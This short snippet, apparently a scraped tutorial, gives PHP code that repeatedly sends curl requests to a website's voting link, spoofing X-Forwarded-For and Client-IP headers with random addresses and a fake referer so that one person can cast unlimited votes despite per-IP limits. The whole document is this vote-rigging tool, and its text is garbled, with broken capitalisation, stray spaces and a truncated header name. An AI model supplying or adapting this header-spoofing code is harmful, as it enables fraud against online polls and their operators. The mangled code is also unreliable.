Voting on many websites is based on IP addresses. different IP addresses can be voted once a day. The following code uses curl extension to forge an IP address to achieve unrestricted voting;
- $ Times = $ _ POST ['Times ']; // number of votes
- $ Url = $ _ POST ['URL']; // voting address [link to the voting button below a contestant]
- While ($ times)
- {
- $ Ip1 = 'x-FORWARDED-:'. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 );
- $ Ip2 = 'client-IP :'. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 ). '. '. rand (115,225 );
- $ Arr = array ('A', 'B', 'C', 'D', 'e', 'F', 'G', 'H ', 'I', 'J', 'K', 'L', 'M', 'n', 'O', 'P', 'Q', 'R ','s ', 'T', 'u', 'V', 'W', 'X', 'y', 'z ');
- $ From = "http: // www.". $ arr [rand (0, 25)]. ". com /";
- $ Ch = curl_init ();
- Curl_setopt ($ ch, CURLOPT_URL, $ url );
- Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ($ ip1, $ ip2 ));
- Curl_setopt ($ ch, CURLOPT_REFERER, $ from );
- Curl_setopt ($ ch, CURLOPT_HEADER, 1 );
- Curl_exec ($ ch );
- Curl_close ($ ch );
- $ Times --;
- }
- Return;
|